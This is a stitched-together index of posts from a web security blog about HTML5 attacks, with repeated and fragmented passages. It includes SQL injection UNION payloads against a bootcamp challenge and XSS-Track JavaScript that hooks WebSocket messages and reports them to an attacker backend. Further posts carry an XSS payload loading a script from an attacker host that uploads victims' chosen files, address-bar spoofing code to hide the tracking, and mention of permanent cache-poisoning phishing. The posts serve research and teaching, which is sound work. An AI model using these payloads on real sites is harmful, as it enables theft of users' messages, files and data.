But, from a security standpoint there are many things to consider when implementing WebSockets in your next project. I don't call them vulnerabilities - but they will most likely create a vulnerability when not dealt with correctly. In this post I describe all these aspects and release socket_io_client - tool for testing & exploiting WebSockets servers.
Friday, March 4, 2011
HTML5 WebSockets - security & new tool for attacking
WebSockets is definately one of the brighter features of HTML5. It allows for easy and efficient real-time commucation with the server, and with the introduction of Socket.IO, node.js and similar libraries, it is sure to gain popularity. It's a must when you're developing an interactive application like chat, game, realtime reporting system etc.
Monday, January 31, 2011
How to get SQL query contents from SQL injection flaw
The technique is listed as a contestant in Top 10 Web Hacking Techniques of 2011 poll.
Yesterday, I got some time to interact with another bootcamp challenge by Paweł Goleń - this time it was an advanced search form and one's task was to find any vulnerabilities. What started as a usual SQL injection / XSS discovery turned out to be a pretty interesting example of what is possible with a SQLi flaw. During the session I was able to (in order):
It's an advanced search form with results being displayed in a table below like this:
Setting up the intercepting proxy (I used OWASP ZAP) will quickly show that these POST parameters are being sent:
The SQL query might look like this:
Now I'd make an union query with it like this:
From here it was easy - modify the second criteria and watch the resulting query to deduct app logic. And yes, it did have additional vulnerabilities :)
Yesterday, I got some time to interact with another bootcamp challenge by Paweł Goleń - this time it was an advanced search form and one's task was to find any vulnerabilities. What started as a usual SQL injection / XSS discovery turned out to be a pretty interesting example of what is possible with a SQLi flaw. During the session I was able to (in order):
- find a SQLi flaw in a parameter
- discover the SQL server/version used
- get the database schema not using blind sql injection
- retrieve db contents
- retrieve important WHERE part of the actual SQL query used by the application
- reverse engineer all the rules used by app to construct a query
value[] - vulnerable parameterI was able to get the actual SQL query:
SELECT * FROM table_name WHERE ((param1 = value2) OR (param2 = value2)) ....used by application and deduct the script logic producing the query:
$allowed_names = array('id','title','timestamp','public');
foreach ($_GET['names'] as $name) {
if (!in_array($name, $allowed_names)) {
$name = 'id';
}
switch ($name) {
// ...
}
}
...
It's a great example of how a single vulnerability was used to gain more and more information, leading to a application logic leakage. All of these tasks did not require any blind sql injection techniques, and no sqlmap-like brute force tools were used. Read on to find out all the details.Crime scene
This is the form I was attacking:It's an advanced search form with results being displayed in a table below like this:
Setting up the intercepting proxy (I used OWASP ZAP) will quickly show that these POST parameters are being sent:
action search name[] id operator[] = value[] 1 oper AND name[] title operator[] > value[] 2
What do we know?
So, the actual script uses $name, $operator and $value arrays for every criterium and $oper as an operator joining the criteria.The SQL query might look like this:
SELECT * FROM table_name WHERE (criterium_1) $oper (criterium_2)
The meat
Skipping all the usual discovery steps, I was able to determine that:- the value[] parameter was injectable but only when name[] was 'title'
- it was probably translated to title LIKE '%{$value}%'
- though only two are displayed in the form, it is possible to pass additional criteria and they will all be processed
- the app was using sqlite 3
- first leaving the string open
- 2nd that would actually get captured in the string
- 3rd to close the string
SELECT * FROM table_name
WHERE (title like '${first}')
OR (id = 111)
OR (title like '${third}')
-- first: '
-- third: '
-- resulting query: (blue is string)
SELECT * FROM table_name
WHERE (title like ''') OR (id = 11111) OR (title like ''')
Exploiting this would be possible, because of the escaping scheme used: ' within a string should be doubled (''), so I was able to neutralize the closing string apostrophe by escaping it with my payloads.Now I'd make an union query with it like this:
-- first: ') UNION SELECT '' -- third: ,null,null,null -- SELECT * FROM table_name WHERE (title like '') UNION SELECT ''') OR (id = 11111) OR (title like ',null,null,null -- ')So while using special crafted first and third criteria, I could modify second criterium (as long as it didn't contain any strings) and get its query part in results.
Troubles ahead
Worked great - in theory, because the actual query used was like this:title like '%{$first}%'
With those percents in place I couldn't escape the closing apostrophe, leaving the rest of the query in 'string mode'. But the SQlite engine has a nice feature: it allows you to use quotes (") to enclose strings! Better yet - in quotes you don't have to escape apostrophes (') :-)Solution
The final solution used:SELECT * FROM table_name WHERE (title like '%${first}%') OR (id = 111) OR (title like '%${third}%')
-- first: ') UNION SELECT "
-- third: ", null, null, null --
SELECT * FROM table_name WHERE (title like '%') UNION SELECT "%') OR (id = 11111) OR (title like '%", null, null, null -- %')
and the resulting row:<tr><td><a href='javascript:void(%') AND (id = 11111) AND (title LIKE '%);'></a></td><td></td><td></td></tr>
From here it was easy - modify the second criteria and watch the resulting query to deduct app logic. And yes, it did have additional vulnerabilities :)
Monday, January 10, 2011
XSS-Track as a HTML5 WebSockets traffic sniffer
HTML5 WebSockets are really a great feature for current web development. They allow you to set up a bi-directional TCP connection between a browser and a server. Sure, the protocol is being constantly updated, has it's own issues, which will probably mean it won't be ready for Firefox 4. But still, I think it's great way to make the current web applications more responsive.
That being said, developers must know that using WebSockets will always have some security issues. Just to name the few:
It's important to know that WebSockets (without any additional precautions) is not a channel to send restricted messages through, because e.g. a single XSS flaw on client side could reveal all those private bits to the attacker.
As always, you can see the source code yourself.
Update: I've just found out this technique of manipulating prototype object to change behavior actually got a name of 'Prototype Hijacking' and was used by Stefano di Paola in 2007 to hijack plain old AJAX communication. Of course, Javascript using it's prototypal inheritance needs to have this kind of 'weakness' and I consider this a brilliant feature of the language itself. Javascript FTW!
That being said, developers must know that using WebSockets will always have some security issues. Just to name the few:
- the client can be spoofed (it doesn't have to be the browser)
- ws:// server can't be trusted (MiTM attacks)
- you need to handle the authentication
- the communication over ws:// protocol is plaintext.
What could get wrong?
There are many possibilities, but for today let's focus on this:It's important to know that WebSockets (without any additional precautions) is not a channel to send restricted messages through, because e.g. a single XSS flaw on client side could reveal all those private bits to the attacker.
To demonstrate, XSS-Track now supports stealing WebSockets sent and received messages. All you need to do is inject a http://kotowicz.net/xss-track/track.js?websocket=1 script into a vulnerable site and all mesages will be reported to your backend.
You could also make it http://kotowicz.net/xss-track/track.js?websocket=1&debug=1 so that the messages will be logged to console instead of sent to backend.
Demo
To be able to test WebSockets injection, you need to have WebSockets support :) Use Google Chrome as your WebSockets client and navigate to http://vuln.nodester.com - it's a simple vulnerable chat application using WebSockets with all the instructions. You can also set the server up for yourself.
How was that possible?
No rocket science here, just modifying WebSockets built-in object:if (captureWebsocket && window.WebSocket) {
// add logging onmessage listener
function captureRecv(ws) {
if (typeof ws.captured == 'undefined') {
ws.addEventListener('message', function(e) {
var event = {
event: 'websocket_recv',
from: location,
data: e.data,
url: e.target.URL
}
log(event);
});
ws.captured = true;
}
}
// capture sending
var captureSend = this.contentWindow.WebSocket.prototype.send = function() {
captureRecv(this); // in case socket contruction was before constructor switching
var event = {
event: 'websocket_send',
from: location,
data: arguments[0],
url: this.URL
};
log(event);
return window.WebSocket.prototype.send.apply(this, arguments);
}
// capture constructor
this.contentWindow.WebSocket = function(a,b) {
var base;
base = (typeof b !== "undefined") ? new WebSocket(a,b) : new WebSocket(a);
captureRecv(base);
base.send = captureSend;
this.__proto__ = WebSocket.constructor;
return base;
}
}
As always, you can see the source code yourself.
Update: I've just found out this technique of manipulating prototype object to change behavior actually got a name of 'Prototype Hijacking' and was used by Stefano di Paola in 2007 to hijack plain old AJAX communication. Of course, Javascript using it's prototypal inheritance needs to have this kind of 'weakness' and I consider this a brilliant feature of the language itself. Javascript FTW!
Tuesday, December 28, 2010
"Hacking HTML5" training
If you'd like to know a little more about HTML5 & security, in January I will be giving a one-day training with Niebezpiecznik.pl entitled "Hacking HTML5".
Topics covered:
We will be attacking and defending a prepared social networking application.
The training is targetted to:
Topics covered:
- New XSS vectors in HTML5
- Cross Origin Resource Sharing
- Cross Document Messaging
- XMLHttpRequest Level 2
- Offline cache & other client-side storages
- Web SQL
- Web sockets
- Clickjacking with HTML5
- Geolocation
We will be attacking and defending a prepared social networking application.
The training is targetted to:
- webdevelopers
- pentesters
- and all other hackers
Thursday, December 16, 2010
Squid-imposter: Phishing websites forever with HTML5 offline cache
Recently I've been doing some HTML5 hacking and I encountered Imposter by Lavakumar Kuppan. It's a framework to perform browser phishing attacks - a tool that integrates a DNS server, a web server and a configuration utility running on Windows machine. Once a victim connects to Imposter (e.g. through a rogue WiFi access point) it tries to e.g. steal his cookies, inject payloads into chosen websites etc. There is also a module that uses HTML5 offline cache to store the payload permanently in all supporting browsers. It's a pretty clever framework, but it requires Windows.
I've decided to take away the HTML5 offline cache storage functionality and port it to Linux. The result is presented here as Squid-imposter. Now you can easily spoof websites that will be stored in victim's browser cache forever.
I've decided to take away the HTML5 offline cache storage functionality and port it to Linux. The result is presented here as Squid-imposter. Now you can easily spoof websites that will be stored in victim's browser cache forever.
Thursday, December 2, 2010
XSS-Track now steals your uploaded files with HTML5 power!
HTML5, broadly speaking (actually it's XMLHttpRequest Level 2, not being part of HTML5 spec, but who cares?) has yet another neat feature: it allows you to send files through AJAX requests. Of course, cross domain communication is also possible. Which is generally a good thing... unless you have an XSS on your site that can now capture files you intend to upload and send them also to a third-party server.
Which is exactly what I have done in newest XSS-Track. Now you can append files=1 parameter to script URL (e.g. http://evil.example.com/track.js?files=1 ) and it will monitor the site for any <input type="file" /> elements. When you change() them (e.g. by choosing a file from your hard-drive), it will quietly start uploading the chosen file meta-data (name, size, MIME type) and file contents to log.php.
As the user will be doing twice as much uploads (one for legitimate site, one for us), XSS-Track does not wait for the form to be actually submitted, but it starts quietly uploading as soon as the field changes.
Vulnerable application:
http://victim.kotowicz.net/xss-track/vuln/?page=search
Payload (paste into textarea):
Monitoring (you will only see your own IP actions):
http://attacker.kotowicz.net/xss-track/show.php
Clearing logs:
Source code:
https://github.com/koto/blog-kotowicz-net-examples/tree/master/track-xss/
Which is exactly what I have done in newest XSS-Track. Now you can append files=1 parameter to script URL (e.g. http://evil.example.com/track.js?files=1 ) and it will monitor the site for any <input type="file" /> elements. When you change() them (e.g. by choosing a file from your hard-drive), it will quietly start uploading the chosen file meta-data (name, size, MIME type) and file contents to log.php.
As the user will be doing twice as much uploads (one for legitimate site, one for us), XSS-Track does not wait for the form to be actually submitted, but it starts quietly uploading as soon as the field changes.
Support
This works also for <input type="file" multiple />. Currently supporting browsers that I'm aware of are:- Chrome,
- FF 3.6 (meta-data only)
- FF 4.0
- ... and many more in the future as HTML5 is coming :)
Demo
Go on, try it now!Vulnerable application:
http://victim.kotowicz.net/xss-track/vuln/?page=search
Payload (paste into textarea):
</textarea><script src="//attacker.kotowicz.net/xss-track/track.js?files=1">
</script>
</script>
Monitoring (you will only see your own IP actions):
http://attacker.kotowicz.net/xss-track/show.php
Clearing logs:
http://attacker.kotowicz.net/xss-track/show.php?clear=1
Source code:
https://github.com/koto/blog-kotowicz-net-examples/tree/master/track-xss/
Monday, November 22, 2010
XSS track got ninja stealth skills thanks to HTML5
XSS-Track, a point of concept project on how to track users through XSS vulnerability today got even better: now it can change URL in browser address bar as you navigate through the site, making it even more transparent for the victim.
It is possible thanks to a HTML5 feature - window.history.pushState(). It was created for AJAX websites so that they could easily change window location bar and manipulate history. Read more about the it on WHATWG site.
It's a great and convenient feature for developers - for example, AJAX apps can now easily support back & forward buttons without resorting to URI fragment identifier (#) hacks. But it can also be used for malicious purposes. Basically, in HTML5 you can no longer trust the location bar. For security reasons, specs say you can only change a path (i.e. not hostname, port etc.) and of course it is subject to same-origin restrictions but that is enough for XSS-Track. So now we have these convenient functions in XSS-track source code:
and navigating a link within vulnerable domain will update the address bar path accordingly, making XSS-track practically invisible (unless you click an external link).
Disclaimer:
window.history.pushState() works in Chrome 5, Safari 5 and Firefox 4 and more browsers will come in future. When it's not available, XSS-Track will just leave the URL of a vulnerable page, so we're forward compatible. Try and hack the demo site to see the effects in one of those browsers to see it in action. HTML5 FTW!
It is possible thanks to a HTML5 feature - window.history.pushState(). It was created for AJAX websites so that they could easily change window location bar and manipulate history. Read more about the it on WHATWG site.
It's a great and convenient feature for developers - for example, AJAX apps can now easily support back & forward buttons without resorting to URI fragment identifier (#) hacks. But it can also be used for malicious purposes. Basically, in HTML5 you can no longer trust the location bar. For security reasons, specs say you can only change a path (i.e. not hostname, port etc.) and of course it is subject to same-origin restrictions but that is enough for XSS-Track. So now we have these convenient functions in XSS-track source code:
var getPath = function(url) {
return url.match(/(\/.*)/)[1];
};
var changeAddressBar = function(url) {
try {
// html5 goodness - should work in Safari, Chrome, FF 4
window.history.pushState({}, "", getPath(url));
} catch(e) {}
};
and navigating a link within vulnerable domain will update the address bar path accordingly, making XSS-track practically invisible (unless you click an external link).
Disclaimer:
window.history.pushState() works in Chrome 5, Safari 5 and Firefox 4 and more browsers will come in future. When it's not available, XSS-Track will just leave the URL of a vulnerable page, so we're forward compatible. Try and hack the demo site to see the effects in one of those browsers to see it in action. HTML5 FTW!
Subscribe to:
Posts (Atom)

